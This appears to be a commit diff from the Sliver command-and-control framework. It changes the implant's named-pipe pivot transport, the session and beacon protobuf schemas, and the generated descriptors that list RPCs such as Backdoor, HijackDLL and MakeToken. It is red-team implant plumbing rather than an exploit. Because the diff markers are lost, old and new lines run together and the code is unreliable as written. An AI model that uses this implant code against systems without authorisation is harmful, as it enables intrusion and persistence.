if err == nil {
recv <- envelope
// {{if .Config.Debug}}
log.Printf("[tcp pivot] Receive loop envelope type %d\n", envelope.Type)
log.Printf("[tcp-pivot] Receive loop envelope type %d\n", envelope.Type)
// {{end}}
}
}
+26 -81
View File
@@ -26,7 +26,6 @@ import (
"io"
"net/url"
"sync"
"time"
// {{if .Config.Debug}}
"log"
@@ -34,14 +33,17 @@ import (
"github.com/bishopfox/sliver/implant/sliver/transports/pivotclients"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func namedPipeConnect(uri *url.URL) (*Connection, error) {
opts := &pivotclients.NamedPipePivotOptions{}
client, err := pivotclients.NamedPipePivotStartSession(uri, opts)
if err != nil {
return nil, err
}
send := make(chan *pb.Envelope)
recv := make(chan *pb.Envelope)
ctrl := make(chan struct{}, 1)
pingCtrl := make(chan struct{}, 1)
connection := &Connection{
Send: send,
Recv: recv,
@@ -62,94 +64,37 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
connection.Stop = func() error {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Stop()")
log.Printf("[named-pipe] Stop()")
// {{end}}
connection.Cleanup()
return nil
}
connection.Start = func() error {
opts := pivotclients.ParseNamedPipePivotOptions(uri)
pivot, err := pivotclients.NamedPipePivotStartSession(uri, opts)
if err != nil {
return err
go func() {
defer connection.Cleanup()
for envelope := range send {
// {{if .Config.Debug}}
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
// {{end}}
client.WriteEnvelope(envelope)
}
go func() {
for {
select {
case <-pingCtrl:
return
case <-time.After(time.Minute):
data, _ := proto.Marshal(&pb.PivotPing{
Nonce: uint32(time.Now().UnixNano()),
})
connection.Send <- &pb.Envelope{
Type: pb.MsgPivotPeerPing,
Data: data,
}
case <-time.After(time.Minute):
// {{if .Config.Debug}}
log.Printf("[namedpipe] server ping...")
// {{end}}
data, _ := proto.Marshal(&pb.PivotPing{
Nonce: uint32(time.Now().UnixNano()),
})
connection.Send <- &pb.Envelope{
Type: pb.MsgPivotServerPing,
Data: data,
}
}
}
}()
}()
go func() {
defer func() {
connection.Cleanup()
}()
for envelope := range send {
go func() {
defer connection.Cleanup()
for {
envelope, err := client.ReadEnvelope()
if err == io.EOF {
break
}
if err == nil {
recv <- envelope
// {{if .Config.Debug}}
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
// {{end}}
pivot.WriteEnvelope(envelope)
}
}()
go func() {
defer connection.Cleanup()
for {
envelope, err := pivot.ReadEnvelope()
if err == io.EOF {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] read envelope error: %s", err)
// {{end}}
continue
}
if envelope == nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] read nil envelope")
// {{end}}
continue
}
if envelope.Type == pb.MsgPivotPeerPing {
// {{if .Config.Debug}}
log.Printf("[namedpipe] received peer pong")
// {{end}}
continue
}
if err == nil {
recv <- envelope
// {{if .Config.Debug}}
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
// {{end}}
}
}
}()
return nil
}
}
}()
return connection, nil
}
File diff suppressed because it is too large. Load diff
+8 -22
View File
@@ -21,7 +21,7 @@ message Version {
// [ Core ] ----------------------------------------
message Session {
string ID = 1;
uint32 ID = 1;
string Name = 2;
string Hostname = 3;
string UUID = 4;
@@ -44,7 +44,6 @@ message Session {
bool Burned = 22;
repeated string Extensions = 23;
// string ConfigID = 24;
int64 PeerID = 25;
}
message Beacon {
@@ -68,14 +67,13 @@ message Beacon {
bool IsDead = 18;
string ProxyURL = 20;
int64 ReconnectInterval = 21;
int64 Interval = 22;
int64 Jitter = 23;
bool Burned = 24;
int64 NextCheckin = 25;
int64 Interval = 21;
int64 Jitter = 22;
bool Burned = 23;
int64 NextCheckin = 24;
int64 TasksCount = 26;
int64 TasksCountCompleted = 27;
int64 TasksCount = 25;
int64 TasksCountCompleted = 26;
}
message Beacons {
@@ -339,7 +337,7 @@ message Sessions {
}
message UpdateSession {
string SessionID = 1;
uint32 SessionID = 1;
string Name = 2;
int64 ReconnectInterval = 3;
int64 PollInterval = 4;
@@ -455,18 +453,6 @@ message CloseTunnelReq {
commonpb.Request Request = 9;
}
// [ Pivots ] ----------------------------------------
message PivotGraphEntry {
int64 PeerID = 1;
Session Session = 2;
string Name = 3;
repeated PivotGraphEntry Children = 4;
}
message PivotGraph {
repeated PivotGraphEntry Children = 1;
}
// [ Events ] ----------------------------------------
message Client {
uint32 ID = 1;
+5 -5
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.19.2
// protoc v3.17.3
// source: commonpb/common.proto
package commonpb
@@ -67,7 +67,7 @@ type Request struct {
Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"`
Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"`
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
SessionID uint32 `protobuf:"varint,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
}
func (x *Request) Reset() {
@@ -123,11 +123,11 @@ func (x *Request) GetBeaconID() string {
return ""
}
func (x *Request) GetSessionID() string {
func (x *Request) GetSessionID() uint32 {
if x != nil {
return x.SessionID
}
return ""
return 0
}
// Response - Common fields used in all gRPC responses. Note that the Err field
@@ -416,7 +416,7 @@ var file_commonpb_common_proto_rawDesc = []byte{
0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49,
0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49,
0x44, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x09,
0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22,
0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22,
0x66, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x45,
0x72, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x14, 0x0a,
0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73,
+1 -1
View File
@@ -14,7 +14,7 @@ message Request {
int64 Timeout = 2;
string BeaconID = 8;
string SessionID = 9;
uint32 SessionID = 9;
}
// Response - Common fields used in all gRPC responses. Note that the Err field
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.19.2
// protoc v3.17.3
// source: dnspb/dns.proto
package dnspb
+395 -417
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.19.2
// protoc v3.17.3
// source: rpcpb/services.proto
package rpcpb
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
0x74, 0x6f, 0x32, 0xe4, 0x35, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x74, 0x6f, 0x32, 0x9d, 0x34, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
@@ -306,165 +306,153 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69,
0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52,
0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73,
0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73,
0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e,
0x65, 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70,
0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70,
0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69,
0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72,
0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65,
0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74,
0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65,
0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65,
0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72,
0x70, 0x74, 0x79, 0x12, 0x47, 0x0a, 0x0e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74,
0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52,
0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69,
0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x40, 0x0a, 0x0c,
0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x19, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72,
0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38,
0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e,
0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d,
0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45,
0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e,
0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e,
0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74,
0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65,
0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12,
0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52,
0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x42, 0x61,
0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65,
0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67,
0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67,
0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69,
0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x3e,
0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x18, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72,
0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x42,
0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12,
0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76,
0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e,
0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12,
0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54,
0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x2d, 0x0a, 0x06,
0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f, 0x0a, 0x06, 0x53,
0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08,
0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a,
0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74,
0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12,
0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64,
0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x52, 0x65,
0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65,
0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x44, 0x0a,
0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x1a,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72,
0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12,
0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74,
0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65,
0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65,
0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c,
0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65,
0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65,
0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c,
0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75,
0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53,
0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67,
0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12,
0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73,
0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71,
0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e,
0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12,
0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f,
0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38,
0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c,
0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b,
0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44,
0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50,
0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12,
0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65,
